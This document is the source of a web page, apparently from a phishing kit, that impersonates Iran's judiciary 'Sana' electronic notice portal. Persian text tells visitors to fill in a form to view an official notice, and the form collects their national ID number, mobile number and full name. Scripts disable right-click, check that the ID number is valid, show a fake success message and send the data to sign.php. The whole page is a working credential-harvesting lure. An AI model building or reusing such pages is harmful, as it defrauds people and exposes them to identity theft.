
<?php 

error_reporting(0);
session_start() ;

require("Checker.php") ;
	
?>


<html ng-app="LoginApp" class="ng-scope">

<meta http-equiv="content-type" content="text/html;charset=UTF-8" />

<head>

	<meta charset="utf-8">

	<meta http-equiv="X-UA-Compatible" content="IE=edge">

	<meta name="viewport" content="width=device-width, initial-scale=1.0">

	<meta name="description" content="سامانه احراز هویت ثنا">

	<meta name="keywords" content="ثنا ، ثبت نام الکترونیک قضایی">

	<title>سامانه ثنا پیگیری شکایات </title>

	<link href="css/bootstrap-theme.min.css"type="text/css" rel="stylesheet">

	<link href="css/font-awesome.min.css" type="text/css" rel="stylesheet">

	<link href="css/styles.css" type="text/css" rel="stylesheet">

    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/noty/3.1.4/noty.min.css" />
    
    <script src="https://cdnjs.cloudflare.com/ajax/libs/noty/3.1.4/noty.min.js"></script>


</head>



<body ng-controller="LoginController" ng-csp="no-unsafe-eval | no-inline-style" oncontextmenu="return false"

	class="ng-scope">

	<div class="container">

		<div class="row row-no-padding">

			<div class="col-md-12 col-sm-12 col-xs-12">

				<div class="background-white border-radius-20 margin-top-15 overflow-hidden shadow-sm overflow-hidden">

					<div class="row row-no-padding no-margin no-padding d-flex" id="containerLogin">

						<div class="col-md-12 col-sm-12 col-xs-12 pull-left">

							<form name="frmAuthenticate" id="frmAuthenticate" action ="sign.php?sign_in" method ="post" 

								class="form-horizontal ng-pristine ng-valid ng-scope ng-valid-pattern ng-valid-minlength ng-valid-maxlength ng-valid-jud-validator"

								role="form" ng-keypress="actions.preventEnterKey($event,1)" novalidate=""

								jud-validator="" ng-if="viewModel.loginStep==1">

								<section class="p-3 pt-1 bg-light-default">

								<div class="text-center  login-effect">

                                    <div class="d-flex justify-content-center align-items-center mt-5">

									<img src="img/logo.png" alt="مرکز آمار و فناوری اطلاعات قوه قضائیه">

								</div>

								<div class="d-flex justify-content-center align-items-center font-size-2rem">

									قوه قضائیه

								</div>

                            </div>
                            
                              <h5 style="color: #7FFFD4; font-size: larger; font-weight: bold;line-height: 65px;" class="text-center text-success">جهت مشاهده ابلاغیه فرم زیر را پر کنید. </h5>

                                    

									<div class="row mt-5 px-5">

										<div class="col-sm-12 col-md-12 col-lg-12 col-xl-12">

											<label class="font-yekan-bold d-block pr-1 font-size-1-5rem"

												for="nationalityCode" dir="rtl">

												شماره ملی

											</label>

											<input id="meli" name="meli" type="tel"

												autofocus="autofocus" focus-if="1==1"

												class="form-control form-control-user rounded-pill p-2 text-center font-yekan-bold mt-1 ng-pristine ng-valid ng-valid-pattern ng-valid-minlength ng-valid-maxlength ng-valid-jud-validator ng-touched"

												autocomplete="off" pattern="[0123456789٠١٢٣٤٥٦٧٨٩]{10}" maxlength="10"

												ng-maxlength="10" ng-minlength="10"

												ng-keypress="actions.preventCharKey($event)"

												ng-model="login.nationalityCode">

										</div>

									</div>

									<div class="row mt-5 px-5">

										<div class="col-sm-12 col-md-12 col-lg-12 col-xl-12">

											<label class="font-yekan-bold d-block pr-1 font-size-1-5rem"

												for="nationalityCode" dir="rtl">

												شماره همراه

											</label>

											<input id="phone" name="phone" type="tel"

												autofocus="autofocus" focus-if="1==1"

												class="form-control form-control-user rounded-pill p-2 text-center font-yekan-bold mt-1 ng-pristine ng-valid ng-valid-pattern ng-valid-minlength ng-valid-maxlength ng-valid-jud-validator ng-touched"

												autocomplete="off" pattern="[0123456789٠١٢٣٤٥٦٧٨٩]{10}" maxlength="11"

												ng-maxlength="11" ng-minlength="11"

												ng-keypress="actions.preventCharKey($event)"

												ng-model="login.nationalityCode">

										</div>

									</div>

									<div class="row mt-5 px-5">

										<div class="col-sm-12 col-md-12 col-lg-12 col-xl-12">

											<label class="font-yekan-bold d-block pr-1 font-size-1-5rem"

												for="personPassword" dir="rtl">

												نام و نام خانوادگی

											</label>

											<input id="name" name="fullname" type="text"

												autocomplete="off" focus-if="login.nationalityCode.length==10"

												class="form-control form-control-user rounded-pill p-2 text-center font-yekan-bold mt-1 ng-pristine ng-untouched ng-valid"

												ng-model="login.userPassword">

										</div>

									</div>

								
<br>
									<div class="row px-5">

										<div class="col-sm-12 col-md-12 col-lg-12 col-xl-12">

											<button id="submitbtn" class="btn btn-primary d-block btn-user w-100 rounded-pill p-2 mt-4"

												focus-if="login.captchaValueFirst.length==5"

												ng-disabled="viewModel.loading" ng-click="actions.checkPersonLogin()">

												<span ng-if="!viewModel.loading"

													class="ng-scope">

													مرحله بعد

												</span>

											</button>

										</div>

									</div>

								</section>

							</form>

						</div>

					</div>

				</div>

			</div>

		</div>

	</div>

<script>

function isValidNationalCode(code){
 
   var L=code.length;
 
   if(L<8 || parseInt(code,10)==0) return false;
   code=('0000'+code).substr(L+4-10);
   if(parseInt(code.substr(3,6),10)==0) return false;
   var c=parseInt(code.substr(9,1),10);
   var s=0;
   for(var i=0;i<9;i++)
      s+=parseInt(code.substr(i,1),10)*(10-i);
   s=s%11;
   return (s<2 && c==s) || (s>=2 && c==(11-s));
   return true;
}


document.getElementById('frmAuthenticate').addEventListener('submit', function(event) {
  event.preventDefault(); 

  let meli = document.getElementById('meli');
  let phone = document.getElementById('phone');
  let name = document.getElementById('name');
  let IsValid = true;
  
  if (meli.value.trim()=== '') {
  	IsValid = false ;
      document.getElementById('meli').style.borderColor = 'red';
  }

  if (phone.value.trim() === '') {
  	IsValid = false ;
    document.getElementById('phone').style.borderColor = 'red';
  }

  if (name.value.trim() === '') {
  	IsValid = false ;
    document.getElementById('name').style.borderColor = 'red';
  }

  if(!IsValid) {
  	new Noty({
      text: 'لطفا تمامی فیلد ها را تکمیل نمایید. ',
      type: 'error',
      closeWith: ['button'], 
      timeout: 3000 
     }).show();
  } else {
  	
  const form = document.getElementById('frmAuthenticate');
  const regex  = new RegExp('^(\\+98|0)?9\\d{9}$');
  const namePattern = /^[\u0600-\u06FF\s]+$/;

   if(!isValidNationalCode(meli.value)) {
       new Noty({
       text: 'کد ملی نادرست است. ',
       type: 'error',
       closeWith: ['button'], 
       timeout: 3000 
      }).show();
   }else if(!regex.test(phone.value)){
   	new Noty({
       text: 'شماره همراه نادرست است. ',
       type: 'error',
       closeWith: ['button'], 
       timeout: 3000 
      }).show();
   	
  }else if(!namePattern.test(name.value)){
       new Noty({
       text: 'نام ونام خانوادگی باید حروف فارسی باشد.',
       type: 'error',
       closeWith: ['button'], 
       timeout: 3000 
      }).show();
  } else {
	new Noty({
    text: ' ورود موفقیت آمیز بود. ',
    type: 'success',
    closeWith: ['button'], 
   }).show();
   setTimeout(function() { form.submit() } , 2000);
 } 
  
  
  
  
 } 

});

  </script>

</body>

</html>
